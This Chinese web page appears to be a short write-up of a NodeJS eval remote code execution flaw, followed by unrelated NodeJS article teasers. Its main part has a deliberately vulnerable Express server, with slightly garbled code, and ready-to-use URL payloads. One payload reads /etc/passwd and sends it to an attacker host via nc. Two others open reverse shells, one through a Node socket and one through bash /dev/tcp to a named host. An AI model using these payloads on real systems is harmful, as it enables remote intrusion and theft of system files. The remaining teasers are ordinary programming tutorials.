NodeJS远程代码执行
背景
@Artsploit在挖PayPal的漏洞时,发现一处NodeJS代码执行,奖励$10000美金。
测试
var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello eval(req.query.q)); console.log(req.query.q); }); app.listen(8080, function () { console.log('Example listening on port 8080!'); });
任意文件读取
http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')
GET SHELL
http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
GET SHELL2
http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')
相关推荐
-
nodejs连接mongodb数据库实现增删改查
准备 1.通过npm命令安装mongodb 2.安装mongodb数据库,这里不详细介绍了,安装网址:http://www.jb51.net/article/82522.htm CRUD操作 在此之前应对MongoDB数据库有所了解,知道它的一些增删查改命令. 1.增加 var MongoClient = require("mongodb").MongoClient; var DB_URL = "mongodb://localhost:27017/chm"; fun
-
nodejs实例解析(输出hello world)
下面将带领大家一步步学习nodejs,知道怎么使用nodejs搭建服务器,响应get/post请求,连接数据库等. 搭建服务器页面输出hello world var http = require('http'); http.createServer(function (request, response) { response.writeHead(200, {'Content-Type': 'text/html; charset=utf-8'}); if(request.url!=="/favi
-
NodeJs读取JSON文件格式化时的注意事项
进行NodeJs开发时偶然发现的一个雷点 正常情况下从JSON文件读取到字符后再通过JSON.parse没什么问题,只要格式不出错 有时在确保JSON格式正确时仍然会出现unexpected token异常 经过调查发现里面有不会显示的unicode字符 于是确定是UTF-8的问题,utf-8分有dom版和无dom版,一般编辑器不刻意设置会默认保存为带dom的utf8 解决办法是先将读到的文件转成二进制,然后检索dom符号删除 代码实现部分 function readText(pathname)
-
Nodejs全局安装和本地安装的不同之处
上一篇文章<Nodejs中 npm常用命令详解>主要是整理了最常使用的npm命令及相关介绍,其中有提到全局安装(npm install gulp -g)和本地安装(npm install gulp),下图来自Gulp中文网入门指南,可以看出全局安装后gulp后还要进行本地安装,一开始我疑惑了?为什么全局安装的gulp么,还要进行本地安装,难道不能在项目中直接调用本地安装的包? 带着疑惑,在google找了相关文档,杂七杂八凑合起来才有了点眉目,让我们一起解开nodejs全局安装和本地安装的一些
-
nodejs简单实现操作arduino
用Javascript来操作硬件早就不是一件稀奇的事情了. 所以作为一名电子专业出身的FE,我也打算尝试一下用js来驱动arduino: 要想操作这些底层硬件,肯定是需要一些工具的,我这里介绍的工具主要是 cylonjs 和 gort cylonjs其实就是一个操作"机器"的js框架,官网的介绍是这样的: Cylon.js is a JavaScript framework for robotics, physical computing, and the Internet of Th
-
nodejs如何获取时间戳与时间差
Nodejs中获取时间戳的方法有很多种,例如: 1.new Date().getTime() 2.Date.now() 3.process.uptime() 4.process.hrtime() 平时想获取一个时间戳的话,用这些方法都可以,那么这些方法有什么区别呢? new Date().getTime()和Date.now() 这些方法是通过node运行环境的系统时间毫秒数, +new Date() 写法的效果和 new Date().getTime() 效果相同. 在需要频繁使用时间戳的场景
-
Nodejs抓取html页面内容(推荐)
废话不多说,直接给大家贴node.js抓取html页面内容的核心代码了. 具体代码如下所示: var http = require("http"); var iconv = require('iconv-lite'); var option = { hostname: "stockdata.stock.hexun.com", path: "/gszl/s601398.shtml" }; var req = http.request(option,
-
nodejs微信公众号支付开发
odeJs 微信公众号功能开发,移动端 H5页面调用微信的支付功能.这几天根据公司的需要使用 node 和 h5页面调用微信的支付功能完成支付需求.现在把开发过程重新捋一遍,以帮助更多的开发者顺利的完成微信支付功能的开发.(微信暂时还没有提供 node 的支付功能) 一.请求CODE 请求 code 的目的就是获取用户的 openid(用户相对于当前公众号的唯一标识) 和access_token,请求的API:https://open.weixin.qq.com/connect/oauth2/a
-
Nodejs 搭建简单的Web服务器详解及实例
使用 Nodejs 搭建简单的Web服务器 使用Nodejs搭建Web服务器是学习Node.js比较全面的入门教程,因为要完成一个简单的Web服务器,你需要学习Nodejs中几个比较重要的模块,比如:http协议模块.文件系统.url解析模块.路径解析模块.以及301重定向问题,下面我们就简单讲一下如何来搭建一个简单的Web服务器. 作为一个Web服务器应具备以下几个功能: 1.能显示以.html/.htm结尾的Web页面 2.能直接打开以.js/.css/.json/.text结尾的文件内容
-
window通过vbs+bat实现自动在后台运行nodejs application
环境:window8.1 原理就是通过vbs无窗口后台运行bat文件 1.新建一个.bat文件.内容如: @ECHO ON f: cd \repositories\yyper start /b nodemon index.js -f 2.新建一个.vbs文件.内容如: Set ws = CreateObject("Wscript.Shell") ws.run "cmd /c run-yyper-blog.bat",vbhide 双击.vbs文件即可.本人通过该方法启
-
NodeJS和BootStrap分页效果的实现代码
1.数据处理 首先在动态js中,根据url参数获取数据库文档的数量,设置分页的大小,获取当前页面的数据,然后将文档数量pagecount,分页大小pagesize,以及当前页面currentpage传递到页面中. 2.处理分页效果 我采用的是JavaScript动态生成的,你也可以利用ejs支持函数的特性将其封装后生成html形式的分页. 首先,添加分页ul,在你的页面中需要显示的位置添加代码: <ul class="pagination" id="pagination
随机推荐
- Python正则表达式教程之一:基础篇
- 详解Vue路由钩子及应用场景(小结)
- Angularjs实现带查找筛选功能的select下拉框示例代码
- ASP.NET MVC5网站开发之总体概述(一)
- JS 获取浏览器和屏幕宽高等信息的实现思路及代码
- python操作MongoDB基础知识
- 比较不错的asp模板引终极讲解(WEB开发之ASP模式)
- Android自定义View详解
- JavaScript实现数字数组正序排列的方法
- ajax跨页面提交表单
- js中小数转换整数的方法
- Centos7.3下mysql5.7.18安装并修改初始密码的方法
- JS中FRAME的操作问题实例分析
- JavaScript动态设置div的样式的方法
- Linux 软件看门狗 watchdog使用介绍
- JavaScript判断表单为空及获取焦点的方法
- Java的System.getProperty()方法获取大全
- Android下Button实现图文混排效果
- C#使用webbrowser的常见用法实例
- C#中while循环语句用法实例详解